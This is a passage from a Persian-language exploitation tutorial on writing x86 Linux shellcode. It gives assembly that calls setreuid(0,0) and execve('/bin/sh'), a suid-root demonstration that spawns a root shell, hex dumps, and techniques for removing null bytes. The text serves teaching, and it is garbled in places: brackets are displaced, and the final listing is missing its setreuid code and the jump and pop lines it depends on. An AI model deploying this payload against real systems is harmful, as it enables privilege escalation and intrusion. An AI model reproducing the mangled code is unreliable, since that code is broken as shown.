دو دﺳﺘﻮر ﺑﻌﺪی ﮐﻪ ﺑﺮای ﻣﺎ ﺗﺎزﮔﯽ دارﻧﺪ از ﻗﺮار زﯾﺮ ﻫﺴﺘﻨﺪ:
]lea ecx, [ebx+8 ; Load the address of where the AAAA was in the
; string into ecx
; ]lea edx, [ebx+12 Load the address of where the BBBB is in the
; string into edx
اﯾﻨﻬﺎ دﺳﺘﻮرات ﺑﺎرﮔﺬاری آدرس ﻣﻮﺛﺮ ) (LEAﻫﺴﺘﻨﺪ ﮐﻪ آدرس ﻣﻮﺛﺮ )و ﻧـﻪ آدرس آﻓـﺴﺖ( ﻣﺮﺑـﻮط ﺑـﻪ ﻣﻨﺒـﻊ را در
ﻣﻘﺼﺪ ﮐﭙﯽ ﻣـﯽ ﮐﻨﻨـﺪ .در اﯾـﻦ ﻣـﻮرد آﻧﻬـﺎ آدرس ﻗـﺴﻤﺖ " "AAAAدر رﺷـﺘﻪ را در ﺛﺒـﺎت ECXو آدرس ﻗـﺴﻤﺖ
" "BBBBدر رﺷﺘﻪ را در ﺛﺒﺎت EDXﮐﭙﯽ ﻣﯽ ﮐﻨﻨﺪ .ﭼـﻮن دو آرﮔﻮﻣـﺎن آﺧـﺮ در ﺗـﺎﺑﻊ )( execveﺑﺎﯾـﺪ اﺷـﺎرﮔﺮ ﺑـﻪ
اﺷﺎرﮔﺮ ﺑﺎﺷﻨﺪ ،ﻟﺬا ﺑﻪ اﯾﻦ ﻣﺴﺌﻠﻪ ﻧﯿﺎز ﺑﻮد .ﯾﻌﻨﯽ آرﮔﻮﻣﺎن ﺑﺎﯾﺪ آدرﺳﯽ ﺑﺎﺷﺪ ﮐﻪ ﺑﻪ آدرس دﯾﮕـﺮ )ﮐـﻪ ﺣـﺎوی ﺗﮑـﻪ داده
ﻧﻬﺎﯾﯽ اﺳﺖ( اﺷﺎره ﮐﻨﺪ .در اﯾﻦ ﻣﻮرد ،ﺛﺒﺎت ECXاﮐﻨﻮن ﺣﺎوی آدرﺳﯽ اﺳـﺖ ﮐـﻪ ﺑـﻪ ﯾـﮏ آدرس دﯾﮕـﺮ )ﻣﺤﻠـﯽ ﮐـﻪ
ﻗﺴﻤﺖ " "AAAAدر رﺷﺘﻪ ﺑﻮد( اﺷﺎره ﻣﯽ ﮐﻨﺪ ﮐﻪ ﻫﻤﺎن اﺑﺘﺪای رﺷﺘﻪ اﺳﺖ .ﺑﻪ ﻃﻮر ﻣﺸﺎﺑﻪ ﺛﺒﺎت EDXﺣﺎوی آدرﺳﯽ
اﺳﺖ ﮐﻪ ﺑﻪ ﯾﮏ آدرس ﭘﻮچ )ﺟﺎﯾﯽ ﮐﻪ ﻗﺴﻤﺖ " "BBBBدر رﺷﺘﻪ ﻗﺮار داﺷﺖ( اﺷﺎره ﻣﯽ ﮐﻨﺪ.
اﮐﻨﻮن ﺑﺮای ﺑﺮرﺳﯽ ﮐﺎرﮐﺮد اﯾﻦ ﺑﺮﻧﺎﻣﻪ ،ﮐﺪ را اﺳﻤﺒﻞ ﮐﺮده و ﺳﭙﺲ ﭘﯿﻮﻧﺪ ﻣﯽ دﻫﯿﻢ.
$ nasm -f elf shell.asm
$ ld shell.o
$ ./a.out
sh-2.05a$ exit
exit
$ sudo chown root a.out
$ sudo chmod +s a.out
$ ./a.out
sh-2.05a#
ﻫﻤﺎن ﻃﻮر ﮐﻪ ﻣﯽ ﺑﯿﻨﯿﺪ ﺑﺮﻧﺎﻣﻪ ﭘﻮﺳﺘﻪ ای ﮐﻪ ﻣﯽ ﺑﺎﯾﺴﺖ را ﺗﻮﻟﯿﺪ ﮐﺮد .اﮐﻨﻮن اﮔﺮ ﻣﺎﻟﮏ ﺑﺮﻧﺎﻣﻪ ﺑﻪ ﮐﺎرﺑﺮ رﯾﺸﻪ ﺗﻐﯿﯿﺮ ﯾﺎﺑﺪ
و ﻣﺠﻮز suidﻧﯿﺰ روی آن ﺗﻨﻈﯿﻢ ﮔﺮدد ،اﯾﻦ ﺑﺮﻧﺎﻣﻪ ﯾﮏ ﭘﻮﺳﺘﻪ رﯾﺸﻪ را ﺗﻮﻟﯿﺪ ﺧﻮاﻫﺪ ﮐﺮد.
اﯾﻦ ﺑﺮﻧﺎﻣﻪ ﯾﮏ ﭘﻮﺳﺘﻪ را ﺗﻮﻟﯿﺪ ﮐﺮد ،اﻣﺎ ﻫﻨﻮز راه زﯾﺎدی ﻣﺎﻧﺪه ﺗﺎ ﺗﺒﺪﯾﻞ ﺑﻪ ﺷﻞ-ﮐﺪ ﻣﻨﺎﺳﺐ ﻣﺎ ﺷﻮد .ﺑﺰرﮔﺘـﺮﯾﻦ ﻣـﺸﮑﻞ
ذﺧﯿﺮه ﺷﺪن رﺷﺘﻪ در ﻗﻄﻌﻪ داده اﺳﺖ .اﮔﺮ ﻫﺪﻓﻤﺎن ﻧﻮﺷﺘﻦ ﯾﮏ ﺑﺮﻧﺎﻣﻪ ﻣﺴﺘﻘﻞ ) (standaloneﺑﺎﺷﺪ اﯾﻦ ﻣﺴﺌﻠﻪ ﺧـﻮب
ﺑﻮد ،اﻣﺎ ﺷﻞ-ﮐﺪ ﯾﮏ ﺑﺮﻧﺎﻣﻪ اﺟﺮاﯾﯽ ﻣﺴﺘﻘﻞ و ﮐﺎﻣﻞ ﻧﯿﺴﺖ )ﺷﻞ-ﮐﺪ ﺗﮑﻪ ﮐﺪی اﺳﺖ ﮐـﻪ ﺑﺎﯾـﺪ ﺑـﻪ ﺑﺮﻧﺎﻣـﻪ در ﺣـﺎل اﺟـﺮا
ﺗﺰرﯾﻖ ﺷﻮد ﺗﺎ ﺑﺪرﺳﺘﯽ اﺟﺮا ﮔﺮدد( ،ﻟﺬا اﯾﻦ ﻣﺴﺌﻠﻪ ﺑﺮای ﻣﺎ اﯾﺠﺎد ﻣﺸﮑﻞ ﻣﯽ ﮐﻨﺪ .ﺑﻪ اﯾﻦ ﺻﻮرت رﺷﺘﻪ ﻣﻮﺟﻮد در ﻗﻄﻌﻪ
داده ﺑﺎﯾﺪ ﺑﻪ ﻃﺮﯾﻘﯽ در ﮐﻨﺎر دﯾﮕﺮ دﺳﺘﻮرات اﺳﻤﺒﻠﯽ ﻗﺮار ﮔﺮﻓﺘﻪ و راﻫﯽ ﺑﺮای ﯾـﺎﻓﺘﻦ آدرس آن ﻧﯿـﺰ ﺑﺎﯾـﺪ ﭘﯿـﺪا ﮐـﺮد.
ﻣﺸﮑﻞ دﯾﮕﺮ اﯾﻦ اﺳﺖ ﮐﻪ ﭼﻮن آدرس دﻗﯿﻖ ﺷﻞ-ﮐﺪ در ﺣﺎل اﺟـﺮا را ﻧـﺪارﯾﻢ ،ﻟـﺬا ﺑﺎﯾـﺪ آدرس ﻧـﺴﺒﯽ آﻧـﺮا ﺑـﻪ EIP
ﺑﺪﺳﺖ آورﯾﻢ .ﺧﻮﺷﺒﺨﺘﺎﻧﻪ دﺳﺘﻮرات jmpو callﻣﯽ ﺗﻮاﻧﻨﺪ آدرس دﻫﯽ را ﻧﺴﺒﺖ ﺑﻪ EIPاﻧﺠﺎم دﻫﻨـﺪ )آدرس دﻫـﯽ
ﻧﺴﺒﯽ ﺑﻪ .(EIPﻣﯽ ﺗﻮان ﻫﺮ دو دﺳﺘﻮر را ﺑﺮای ﮔﺮﻓﺘﻦ آدرس رﺷﺘﻪ )ﮐﻪ در ﻫﻤﺎن ﻓﻀﺎی ﺣﺎﻓﻈﻪ اﺳﺖ ﮐﻪ دﺳﺘﻮرات در
ﺣﺎل اﺟﺮا ﻫﺴﺘﻨﺪ( ﻧﺴﺒﺖ ﺑﻪ EIPﺑﮑﺎر ﮔﺮﻓﺖ.
دﺳﺘﻮر callﻧﯿﺰ ﻫﻤﺎﻧﻨﺪ دﺳﺘﻮر jmpﻣﻘﺪار EIPرا ﺑﻪ ﯾﮏ ﻣﮑﺎن ﻣﺸﺨﺺ از ﺣﺎﻓﻈﻪ ﺗﻐﯿﯿﺮ ﻣﯽ دﻫﺪ ،اﻣﺎ ﺑﺎ اﯾﻦ ﺗﻔﺎوت ﮐـﻪ
ﺑﺮﺧﻼف دﺳﺘﻮر ،jmpاﯾﻦ دﺳﺘﻮر آدرس ﺑﺮﮔﺸﺖ را ﺑﺮ روی ﭘﺸﺘﻪ ﻗﺮار ﺧﻮاﻫﺪ داد ،ﻟـﺬا روﻧـﺪ اﺟـﺮای ﺑﺮﻧﺎﻣـﻪ ﭘـﺲ از
78
دﺳﺘﻮر callدﻧﺒﺎل ﺧﻮاﻫﺪ ﺷﺪ .ﺣﺎل اﮔﺮ ﺑﻌﺪ از دﺳﺘﻮر ،callﺑﻪ ﺟﺎی دﺳﺘﻮر ﺑﻌﺪی ﯾﮏ رﺷﺘﻪ ﻗﺮار ﮔﯿﺮد ،آﻧﮕﺎه ﻣﯽ ﺗﻮان
آدرس ﺑﺮﮔﺸﺖ ﻗﺮار داده ﺷﺪه در ﭘﺸﺘﻪ را ﺑﺎزﯾﺎﺑﯽ ﮐﺮد ) (popو ﺑﻪ ﺟﺎی اﺳﺘﻔﺎده از آن ﺟﻬﺖ ﺑﺮﮔﺸﺖ ﺑﻪ ﻣﮑـﺎن اوﻟﯿـﻪ
ﻣﯽ ﺗﻮاﻧﯿﻢ از آن ﺑﺮای ارﺟﺎع دادن رﺷﺘﻪ اﺳﺘﻔﺎده ﮐﻨﯿﻢ.
ﻃﺮﯾﻘﻪ ﮐﺎرﮐﺮد اﯾﻦ روش اﯾﻦ ﻃﻮر اﺳﺖ :در اﺑﺘﺪای اﺟﺮای ﺑﺮﻧﺎﻣﻪ ،روﻧﺪ اﺟﺮا ﺑﻪ ﻣﺤﻠﯽ در ﭘﺎﺋﯿﻦ ﮐـﺪ ﮐـﻪ دﺳـﺘﻮر callو
رﺷﺘﻪ ﻣﻮرد ﻧﻈﺮ در آﻧﺠﺎ ﻗﺮار ﮔﺮﻓﺘﻪ اﻧﺪ ﭘﺮش ﻣﯽ ﮐﻨـﺪ .ﺑﻬﻨﮕـﺎم اﺟـﺮای دﺳـﺘﻮر ،callآدرس رﺷـﺘﻪ روی ﭘـﺸﺘﻪ ﻗـﺮار
ﺧﻮاﻫﺪ ﮔﺮﻓﺖ .ﺳﭙﺲ دﺳﺘﻮر callاﺟﺮا ﻣﯽ ﺷﻮد و روﻧﺪ اﺟﺮا ﺑﻪ ﯾﮏ ﻣﮑﺎن ﻧﺴﺒﯽ در ﭘﺎﺋﯿﻦ دﺳﺘﻮر ﭘـﺮش ﻗﺒﻠـﯽ ﺑـﺎز ﻣـﯽ
ﮔﺮدد .اﮐﻨﻮن ﺑﺮﻧﺎﻣﻪ اﺷﺎرﮔﺮی از رﺷﺘﻪ در اﺧﺘﯿﺎر دارد و ﺑﺮﻧﺎﻣﻪ ﻧﯿﺰ ﻣﯽ ﺗﻮاﻧـﺪ ﺑـﺪون ﻣـﺸﮑﻞ ﮐـﺎر ﺧـﻮد را اداﻣـﻪ دﻫـﺪ،
درﺣﯿﻦ اﯾﻨﮑﻪ رﺷﺘﻪ ﻧﯿﺰ در اﻧﺘﻬﺎی ﮐﺪ ﺟﺎﺳﺎزی ﺷﺪه اﺳﺖ .در اﺳﻤﺒﻠﯽ اﯾﻦ روش ﺷﺒﯿﻪ ﺑﻪ ﺣﺎﻟﺖ زﯾﺮ اﺳﺖ:
jmp two
one:
pop ebx
><program code here
two:
call one
'db 'this is a string
اﺑﺘﺪا ﺑﺮﻧﺎﻣﻪ رو ﺑﻪ ﭘﺎﺋﯿﻦ ﺑﻪ ﺑﺮﭼﺴﺐ twoﭘﺮش ﻣﯽ ﮐﻨﺪ .اﮐﻨﻮن ﻗﺒـﻞ از اﺟـﺮای دﺳـﺘﻮر ،callآدرس ﺑﺮﮔـﺸﺖ )ﮐـﻪ در
اﯾﻨﺠﺎ ﻫﻤﺎن آدرس رﺷﺘﻪ اﺳﺖ( در ﭘـﺸﺘﻪ ﻗـﺮار ﻣـﯽ ﮔﯿـﺮد .آﻧﮕـﺎه دﺳـﺘﻮر ،callﺑﺮﭼـﺴﺐِ oneواﻗـﻊ در ﺑـﺎﻻی ﮐـﺪ را
ﻓﺮاﺧﻮاﻧﯽ ﻣﯽ ﮐﻨﺪ .ﺳﭙﺲ ﺑﺮﻧﺎﻣﻪ آدرس ﺑﺮﮔﺸﺖ را از ﭘﺸﺘﻪ ﺣﺬف و ﺑﺎزﯾﺎﺑﯽ ) (popﮐﺮده و آﻧﺮا در ﺛﺒـﺎت EBXﻗـﺮار
ﻣﯽ دﻫﺪ و ﭘﺲ از آن ﺑﺮﻧﺎﻣﻪ روﻧﺪ اﺟﺮا را ﺑﻪ ﺻﻮرت ﻋﺎدی اداﻣﻪ ﻣﯽ دﻫﺪ.
ﺷﻞ-ﮐﺪِ ﺑﺮﻫﻨﻪ ) 39(stripped-downﮐﻪ از ﺣﻘﻪ call/jmpﺟﻬﺖ ﮔﺮﻓﺘﻦ آدرس رﺷﺘﻪ اﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ ،ﭼﯿـﺰی ﺷـﺒﯿﻪ
ﺑﻪ زﯾﺮ اﺳﺖ:
shellcode.asm
BITS 32
mov eax, 70 ; put 70 into eax, since setreuid is syscall #70
mov ebx, 0 ; put 0 into ebx, to set real uid to root
mov ecx, 0 ; put 0 into ecx, to set effective uid to root
int 0x80 ; Call the kernel to make the system call happen
jmp short two ; Jump down to the bottom for the call trick
one:
pop ebx ; pop the "return address" from the stack
; to put the address of the string into ebx
)][; execve(const char *filename, char *const argv [], char *const envp
mov eax, 0 ; put 0 into eax
mov [ebx+7], al ; put the 0 from eax where the X is in the string
); ( 7 bytes offset from the beginning
mov [ebx+8], ebx ; put the address of the string from ebx where the
); AAAA is in the string ( 8 bytes offset
mov [ebx+12], eax ; put a NULL address (4 bytes of 0) where the
); BBBB is in the string ( 12 bytes offset
mov eax, 11 ; Now put 11 into eax, since execve is syscall #11
]lea ecx, [ebx+8 ; Load the address of where the AAAA was in the string
; into ecx
lea edx, [ebx+12] ; Load the address of where the BBBB was in the string
; into edx
int 0x80 ; Call the kernel to make the system call happen
two:
call one ; Use a call to get back to the top and get the
39ﻣﻨﻈﻮر ﺷﻞ-ﮐﺪی اﺳﺖ ﮐﻪ در ﻗﺎﻟﺐ ﮐﺪﻫﺎی اﺳﻤﺒﻠﯽ اﺳﺖ و ﻫﻨﻮز ﺑﻪ ﻗﺎﻟﺐ ﺑﺎﯾﺖ ﻫﺎی ﻫﮕﺰادﺳﯿﻤﺎل ﺗﺒﺪﯾﻞ ﻧﮕﺮدﯾﺪه اﺳﺖ.
79
'db '/bin/shXAAAABBBB ; address of this string
اﮔﺮ ﻗﻄﻌﻪ ﮐﺪ ﻓﻮق را اﺳﻤﺒﻞ ﮐﺮده و در ﯾﮏ وﯾﺮاﯾﺸﮕﺮ ﻫﮕﺰادﺳﯿﻤﺎل ) (Hex Editorﺑﺮرﺳﯽ ﮐﻨﯿﻢ ﻣﻌﻠﻮم ﺧﻮاﻫـﺪ ﺷـﺪ
ﮐﻪ ﻫﻨﻮز ﻧﻤﯽ ﺗﻮان اﯾﻦ ﮐﺪ را ﺑﻪ ﻋﻨﻮان ﺷﻞ-ﮐﺪ اﺳﺘﻔﺎده ﮐﺮد.
$ nasm shellcode.asm
$ hexeditor shellcode
00000000 B8 46 00 00 00 BB 00 00 00 00 B9 00 00 00 00 CD .F..............
00000010 80 EB 1C 5B B8 00 00 00 00 88 43 07 89 5B 08 89 ...[......C..[..
00000020 43 0C B8 0B 00 00 00 8D 4B 08 8D 53 0C CD 80 E8 C.......K..S....
00000030 DF FF FF FF 2F 62 69 6E 2F 73 68 58 41 41 41 41 ..../bin/shXAAAA
00000040 42 42 42 42 BBBB
ﻫﺮ ﺑﺎﯾﺖ ﭘﻮچ ﻣﻮﺟﻮد در ﺷﻞ-ﮐﺪ )ﮐﻪ ﺑﻪ ﺻﻮرت ﺿﺨﯿﻢ ﻧﻤﺎﯾﺶ ﯾﺎﻓﺘﻪ اﻧﺪ( ﺑﻪ ﻋﻨﻮان اﻧﺘﻬﺎی رﺷﺘﻪ ﻣﺤﺴﻮب ﻣﯽ ﺷﻮد ،ﻟـﺬا
ﺗﻨﻬﺎ دو ﺑﺎﯾﺖ ﻧﺨﺴﺖ از ﺷﻞ-ﮐﺪ در ﺑﺎﻓﺮ ﮐﭙﯽ ﺧﻮاﻫﻨﺪ ﺷﺪ .ﺑﺮای اﯾﻨﮑﻪ ﺷﻞ-ﮐﺪ ﺑﻪ درﺳﺘﯽ و ﮐﺎﻣﻞ در ﺑﺎﻓﺮﻫﺎ ﮐﭙـﯽ ﺷـﻮد،
ﻟﺬا ﺗﻤﺎم ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچ را از ﺑﯿﻦ ﺑﺮد.
ﻣﮑﺎن ﻫﺎﯾﯽ از ﮐﺪ ﮐﻪ در آﻧﻬﺎ ﻣﻘﺪار اﯾﺴﺘﺎی ) 0ﺻﻔﺮ( ﺑﻪ ﯾﮏ ﺛﺒﺎت ﻣﻨﺘﻘﻞ ﻣﯽ ﺷﻮﻧﺪ ،ﻣﮑﺎن ﻫﺎی آﺷﮑﺎرِ وﺟﻮد ﺑﺎﯾﺖ ﻫـﺎی
ﭘﻮچ در ﺷﻞ-ﮐﺪ اﺳﻤﺒﻞ ﺷﺪه ﻫﺴﺘﻨﺪ .ﺑﺮای از ﺑﯿﻦ ﺑﺮدن ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچ و ﺣﻔﻆ ﻋﺎﻣﻠﯿﺖ )ﮐﺎرﮐﺮد( ﺑﺮﻧﺎﻣﻪ ،ﺑﺎﯾﺪ روﺷـﯽ را
ﺑﮑﺎر ﺑﺴﺖ ﺗﺎ ﺑﺪون اﺳﺘﻔﺎده از ﻣﻘﺪار 0در ﮐﺪ ،ﺑﺘﻮان ﻣﻘﺪار اﯾﺴﺘﺎی 0را در ﯾﮏ ﺛﺒﺎت ﻗﺮار داد .ﯾﮏ راه ﻣﯽ ﺗﻮاﻧﺪ اﻧﺘﻘﺎل
ﯾﮏ ﻋﺪد دﻟﺨﻮاه 32ﺑﯿﺘﯽ در ﯾﮏ ﺛﺒﺎت )ﺑﺎ دﺳﺘﻮر (movو ﺳﭙﺲ ﮐﺎﺳـﺘﻦ آن ﻣﻘـﺪار از ﺧـﻮدش در ﺛﺒـﺎت )ﺑـﺎ دﺳـﺘﻮر
(subﺑﺎﺷﺪ.
mov ebx, 0x11223344
sub ebx, 0x11223344
اﮔﺮﭼﻪ اﯾﻦ ﺗﮑﻨﯿﮏ ﮐﺎر ﻣﯽ ﮐﻨﺪ ،اﻣﺎ ﺣﺠﻢ دﺳﺘﻮرات در اﯾﻦ ﻧﻘﺎط دو ﺑﺮاﺑﺮ ﻣﯽ ﺷﻮد )ﭼﻮن در اﯾﻦ ﺻﻮرت ﺑـﻪ ﺟـﺎی ﯾـﮏ
دﺳﺘﻮر ،ﻋﻤﻼ دو دﺳﺘﻮر ﺑﮑﺎر ﻣﯽ رود( ﮐﻪ اﯾـﻦ ﮐـﺎر ﺣﺠـﻢ ﺷـﻞ-ﮐـﺪ اﺳـﻤﺒﻞ ﺷـﺪه را ﺑﺰرﮔﺘـﺮ از اﻧـﺪازه ﻻزم ﻣـﯽ ﮐﻨـﺪ.
ﺧﻮﺷﺒﺨﺘﺎﻧﻪ راه ﺣﻠﯽ وﺟﻮد دارد ﮐﻪ ﻣﯽ ﺗﻮان ﺗﻨﻬﺎ ﺑﺎ اﺳﺘﻔﺎده از ﯾﮏ دﺳﺘﻮر ﻣﻘﺪار 0را در ﺛﺒﺎت ﻗﺮار داد .XOR :دﺳﺘﻮر
،XORﻋﻤﻞ ﯾﺎی اﻧﺤﺼﺎری ) (Exlusive ORرا ﺑﺮ روی ﺑﯿﺖ ﻫﺎی ﯾﮏ ﺛﺒﺎت اﻧﺠﺎم ﻣﯽ دﻫﺪ.
ﯾﮏ ﯾﺎی-اﻧﺤﺼﺎری ،ﺑﯿﺖ ﻫﺎ را ﺑﻪ ﺻﻮرت زﯾﺮ ﺗﻐﯿﯿﺮ ﻣﯽ دﻫﺪ:
1 xor 1 = 0
0 xor 0 = 0
1 xor 0 = 1
0 xor 1 = 1
اﮔﺮ ﻋﺪد 1ﺑﺎ 1و ﻧﯿﺰ ﻋﺪد ﺻﻔﺮ ﺑﺎ ﺻﻔﺮ ،ﯾﺎی اﻧﺤﺼﺎری ﺷﻮﻧﺪ ،ﻧﺘﯿﺠﻪ ی ﻫﺮ دو ،ﻋـﺪد ﺻـﻔﺮ ﺧﻮاﻫـﺪ ﺑـﻮد .ﻟـﺬا ﻣـﯽ ﺗـﻮان
ﻧﺘﯿﺠﻪ ﮔﺮﻓﺖ ﮐﻪ اﮔﺮ ﻫﺮ ﻣﻘﺪار ﺑﺎ ﺧﻮدش ﯾﺎی اﻧﺤﺼﺎری ﺷﻮد ﻧﺘﯿﺠﻪ ﺻﻔﺮ ﺧﻮاﻫﺪ ﺑﻮد .ﻟـﺬا اﮔـﺮ دﺳـﺘﻮر XORرا ﺟﻬـﺖ
XORﮐﺮدن ﺛﺒﺎت ﻫﺎ ﺑﺎ ﺧﻮدﺷﺎن ﺑﮑﺎر ﮔﯿﺮﯾﻢ ،ﻣﻘﺪار ﺻﻔﺮ در آﻧﻬﺎ ﻗـﺮار ﺧﻮاﻫـﺪ ﮔﺮﻓـﺖ .از ﻃﺮﻓـﯽ ،ﻫـﻢ ﻓﻘـﻂ از ﯾـﮏ
دﺳﺘﻮر اﺳﺘﻔﺎده ﮐﺮده اﯾﻢ و ﻫﻢ از ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچ دوری ﺟﺴﺘﻪ اﯾﻢ.
ﭘﺲ از اﻋﻤﺎل ﺗﻐﯿﯿﺮات ﻣﻨﺎﺳﺐ )ﺑﻪ ﺻﻮرت ﺿﺨﯿﻢ ﻧﻤﺎﯾﺶ ﯾﺎﻓﺘﻪ اﻧﺪ( ،ﺷﻞ-ﮐﺪ ﺟﺪﯾﺪ ﺑﻪ ﺻﻮرت زﯾﺮ ﺧﻮاﻫﺪ ﺑﻮد:
shellcode.asm
BITS 32
jmp short two ; Jump down to the bottom for the call trick
one:
80
pop ebx ; pop the "return address" from the stack
; to put the address of the string into ebx
; execve(const char *filename, char *const argv [], char *const envp[])
xor eax, eax ; put 0 into eax
mov [ebx+7], al ; put the 0 from eax where the X is in the string
; ( 7 bytes offset from the beginning)
mov [ebx+8], ebx ; put the address of the string from ebx where the
; AAAA is in the string ( 8 bytes offset)
mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the
; BBBB is in the string ( 12 bytes offset)
mov eax, 11 ; Now put 11 into eax, since execve is syscall #11
lea ecx, [ebx+8] ; Load the address of where the AAAA was in the string
; into ecx
lea edx, [ebx+12] ; Load the address of where the BBBB was in the string
; into edx
int 0x80 ; Call the kernel to make the system call happen
two:
call one ; Use a call to get back to the top and get the
db '/bin/shXAAAABBBB' ; address of this string
:ﮐﺪ ﺑﻪ ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچ ﮐﻤﺘﺮی ﺑﺮﺧﻮرد ﺧﻮاﻫﯿﻢ ﮐﺮد-ﭘﺲ از اﺳﻤﺒﻞ ﮐﺮدن اﯾﻦ ﻧﺴﺨﻪ از ﺷﻞ
00000000 B8 46 00 00 00 31 DB 31 C9 CD 80 EB 19 5B 31 C0 .F...1.1.....[1.
00000010 88 43 07 89 5B 08 89 43 0C B8 0B 00 00 00 8D 4B .C..[..C.......K
00000020 08 8D 53 0C CD 80 E8 E2 FF FF FF 2F 62 69 6E 2F ..S......../bin/
00000030 73 68 58 41 41 41 41 42 42 42 42 shXAAAABBBB
دﻟﯿـﻞ وﺟـﻮد ﺳـﻪ ﺑﺎﯾـﺖ ﭘـﻮچ،ﮐﺪ و ﻣﺘﻨﺎﻇﺮ ﮐـﺮدن آن را ﮐـﺪ اﺳـﻤﺒﻞ ﺷـﺪه ی ﻣﺎﺷـﯿﻦ-ﺑﺎ ﺑﺮرﺳﯽ اوﻟﯿﻦ دﺳﺘﻮر در ﺷﻞ
ﺧﻂ اول ﯾﻌﻨﯽ.ﺑﺎﻗﯿﻤﺎﻧﺪه ﻧﯿﺰ ﻣﺸﺨﺺ ﻣﯽ ﺷﻮد
mov eax, 70 ; put 70 into eax, since setreuid is syscall #70
:ﺑﻪ ﺻﻮرت ﺧﻂ زﯾﺮ اﺳﻤﺒﻞ ﻣﯽ ﺷﻮد
B8 46 00 00 00
ﻧﯿــﺰ در70 ﻋــﺪد دﺳــﯿﻤﺎل. )آﭘﮑــﺪ( اﺳــﻤﺒﻞ ﻣــﯽ ﺷــﻮد0xB8 ﺑــﻪ ﺻــﻮرت ﻣﻘــﺪار ﻫﮕﺰادﺳــﯿﻤﺎلmov eax دﺳــﺘﻮر
(padding) ﺳﻪ ﺑﺎﯾﺖ ﭘﻮچ ﻣﻮﺟﻮد در اﻧﺘﻬﺎی ﺧﻂ ﻓﻮق ﻓﻘﻂ ﭘﺮﮐﻨﻨﺪه ﻫـﺎ. اﺳﺖ0x00000046 ﻫﮕﺰادﺳﯿﻤﺎل ﺑﻪ ﺻﻮرت
32 اﯾﻦ ﻣﻘﺪار. ﺑﯿﺘﯽ )ﭼﻬﺎر ﺑﺎﯾﺘﯽ( داده ﺷﺪه اﺳﺖ32 ﭼﺮا ﮐﻪ ﺑﻪ اﺳﻤﺒﻠﺮ ﻓﺮﻣﺎﻧﯽ ﻣﺒﻨﯽ ﺑﺮ ﮐﭙﯽ ﮐﺮدن ﯾﮏ ﻣﻘﺪار،ﻫﺴﺘﻨﺪ
4 ﺑﺎﯾﺖ از1 ﺑﻪ اﯾﻦ ﺻﻮرت. ﺑﺎﯾﺖ( ﻓﻀﺎ اﺣﺘﯿﺎج دارد1) ﺑﯿﺖ8 ﺗﻨﻬﺎ ﺑﻪ70 ﭼﺮا ﮐﻪ ﻣﻘﺪار دﺳﯿﻤﺎل،ﺑﯿﺘﯽ ﺧﯿﻠﯽ زﯾﺎد اﺳﺖ
ﺑﺎ اﺳـﺘﻔﺎده از.(pad) ﺑﺎﯾﺖ ﺑﺎﻗﯿﻤﺎﻧﺪه ﻧﯿﺰ ﺑﺎ ﻣﻘﺎدﯾﺮ ﺻﻔﺮ ﭘﺮ ﻣﯽ ﺷﻮد3 ( و70 )ﻣﻌﺎدل دﺳﯿﻤﺎل46 ﺑﺎﯾﺖ ﻣﻮﺟﻮد ﺑﺎ ﻣﻘﺪار
اﺳﻤﺒﻠﺮ ﺗﺸﺨﯿﺺ ﻣـﯽ دﻫـﺪ ﮐـﻪ ﺗﻨﻬـﺎ،EAX ﺑﯿﺘﯽ32 ﺑﻪ ﺟﺎی اﺳﺘﻔﺎده از ﺛﺒﺎت،(EAX ﺑﯿﺘﯽ ﺛﺒﺎت8 )ﻣﻌﺎدلAL ﺛﺒﺎت
: ﻟﺬا دﺳﺘﻮر زﯾﺮ.ﻧﯿﺎز ﺑﻪ ﮐﭙﯽ ﮐﺮدن ﯾﮏ ﺑﺎﯾﺖ اﺳﺖ
mov al, 70 ; put 70 into eax, since setreuid is syscall #70
:ﺑﻪ ﺻﻮرت زﯾﺮ اﺳﻤﺒﻞ ﻣﯽ ﺷﻮد
B0 46
در ﺣﺎل ﺣﺎﺿﺮ. اﻣﺎ ﻋﺎﻣﻠﯿﺖ ﺑﺮﻧﺎﻣﻪ اﻧﺪﮐﯽ ﺗﻐﯿﯿﺮ ﮐﺮد، ﺑﯿﺘﯽ ﺑﺎﯾﺖ ﻫﺎی ﭘﻮچِ ﭘﺮﮐﻨﻨﺪه را از ﺑﯿﻦ ﺑﺮد8 اﺳﺘﻔﺎده از ﯾﮏ ﺛﺒﺎت
اﺑﺘﺪا ﺑﺎﯾﺪ ﺛﺒﺎت، ﻟﺬا ﺑﺮای ﺣﻔﻆ ﻋﺎﻣﻠﯿﺖ.ﻓﻘﻂ ﯾﮏ ﺑﺎﯾﺖ ﻣﻨﺘﻘﻞ ﻣﯽ ﺷﻮد و اﯾﻦ ﻣﺴﺌﻠﻪ ﺳﻪ ﺑﺎﯾﺖ ﺑﺎﻗﯿﻤﺎﻧﺪه را ﺻﻔﺮ ﻧﻤﯽ ﮐﻨﺪ
.را ﺻﻔﺮ ﮐﺮده و ﺳﭙﺲ ﺑﺎﯾﺖ واﺣﺪ را ﺑﻪ آن ﻣﻨﺘﻘﻞ ﮐﺮد
xor eax, eax ; first eax must be 0 for the next instruction
mov al, 70 ; put 70 into eax, since setreuid is syscall #70
:ﮐﺪ ﺟﺪﯾﺪ ﺑﻪ ﺻﻮرت زﯾﺮ ﺧﻮاﻫﺪ ﺑﻮد- ﺷﻞ،(ﭘﺲ از اﻋﻤﺎل ﺗﻐﯿﯿﺮات ﻻزﻣﻪ )ﺑﻪ ﺻﻮرت ﺿﺨﯿﻢ ﻧﻤﺎﯾﺶ ﯾﺎﻓﺘﻪ اﻧﺪ
shellcode.asm
BITS 32
; execve(const char *filename, char *const argv [], char *const envp[])
xor eax, eax ; put 0 into eax
mov [ebx+7], al ; put the 0 from eax where the X is in the string
; ( 7 bytes offset from the beginning)
mov [ebx+8], ebx ; put the address of the string from ebx where the
; AAAA is in the string ( 8 bytes offset)
mov [ebx+12], eax ; put the a NULL address (4 bytes of 0) where the
; BBBB is in the string ( 12 bytes offset)
mov al, 11 ; Now put 11 into eax, since execve is syscall #11
lea ecx, [ebx+8] ; Load the address of where the AAAA was in the string
; into ecx
lea edx, [ebx+12] ; Load the address of where the BBBB was in the string
; into edx
int 0x80 ; Call the kernel to make the system call happen
two:
call one ; Use a call to get back to the top and get the
db '/bin/shXAAAABBBB' ; address of this string
